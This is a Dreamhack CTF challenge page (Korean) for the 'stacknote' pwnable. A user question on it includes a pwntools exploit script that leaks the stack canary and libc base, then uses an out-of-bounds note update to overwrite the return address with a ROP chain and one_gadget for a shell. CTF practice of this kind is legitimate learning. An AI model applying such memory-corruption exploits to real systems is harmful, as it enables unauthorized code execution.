LEVEL 4

stacknote

pwnable
  • 문제 정보
  • 풀이 15
  • 난이도 투표 16
  • 질문 2
  • 최근 풀이자 39
  • 댓글 1
해당 문제는 Dreamhack CTF Season 7 Round #12 (🌱Div2) 에 출제된 문제입니다.

문제 설명

Description

usually notes are stored in the heap, but this time it's stored in the stack.

난이도 투표 16

질문 2

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
마지막 익스플로잇 관련 질문
안녕하세요. 현재 취약점을 발견한 뒤로 익스플로잇을 계속 시도 중입니다. . . . 근데, 뒤에 ROP 가젯 넣을 공간이 24바이트 밖에 없고, 이 공간만으로는 system("/bin/sh")를 실행시키기엔 부족한 공간이라서 계속 원가젯을 넣어보면서 시도 중인데요, 조건이 조건인지라 원가젯 조건에 부합하는 상황을 찾기가 쉽지 않습니다. 저는 read note를 이용해서 libc leak update note에서 out of bound 취약점이 발생한다는 점을 이용해서 RAO 가능, 리턴 주소 덮어써서 공격 쉘 획득 이 순서로 익스플로잇 하려고 아래와 같이 코드를 짰습니다. 궁금한 점은, 이 공격 방법이 맞는지 맞다면, 여기서 원가젯으로 계속 해야 하는지, 아니면 system("/bin/sh")를 일으킬 다른 방법이 있는지 2-1. 아니라면, 또 다른 취약점을 이용해야 하는 것인지 이렇게 질문을 드리고 싶습니다. 코드도 같이 첨부해서 질문드립니다! 감사합니다. from pwn import * binary = './prob' libc_path = './libc.so.6' ld_path = './ld-linux-x86-64.so.2' l = ELF('./libc.so.6') p = process([ld_path, binary], env={'LD_PRELOAD' : './libc.so.6'}, stdin=PTY, stdout=PTY) #p = remote('host3.dreamhack.games', 12068) def create(size, content): p.sendlineafter('> ', str(1)) p.sendlineafter(': ', str(size)) p.sendlineafter(': ', content) def read(idx): p.sendlineafter('> ', str(2)) p.sendlineafter(': ', str(idx)) def update(idx, size, content): p.sendlineafter('> ', str(3)) p.sendlineafter(': ', str(idx)) p.sendlineafter(': ', str(size)) p.sendlineafter(': ', content) def delete(idx): p.sendlineafter('> ', str(4)) p.sendlineafter(': ', str(idx)) p.sendlineafter('> ', str(1)) p.sendlineafter(': ', str(1000)) read(0) p.recvn(0x1e0) canary = u64(p.recvn(8)) p.recvn(8) #libc + canary leak libc = u64(p.recvn(8)) - 0x2a1ca one_gadget = libc + 0x583d5 binsh = libc + 0x1cb42f pop_rdi = libc + 0x10f75b pop_rax = libc + 0x66b9a ret = libc + 0x2882f system = libc + l.symbols['system'] print(hex(canary)) print(hex(libc)) delete(-1) pause() exploit update(-2, 40, b'\x00'*8 + p64(canary) + p64(pop_rax) + p64(0) + p64(one_gadget)) p.interactive() `
avatar Garden_
LEVEL 4

stacknote

pwnable

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
wyv3rn
무플 방지 위원회장
출제된 지 3시간 만에 풀이 완료!

최근 풀이자 39

g3nie
강의 수강: 1
avatar
keyme
CTF Second Place
avatar
*ptr
대표 업적 없음
hyeon_
대표 업적 없음
Hi juno
전자두뇌
avatar
JJ3rry
CTF 초보자
avatar
M200is
강의 수강: 50
avatar
🚫
대표 업적 없음
avatar
d3vh4cks
대표 업적 없음
avatar
kuvee
대표 업적 없음

댓글 1

avatar
Rootsquare
바탈리온
stack exploit!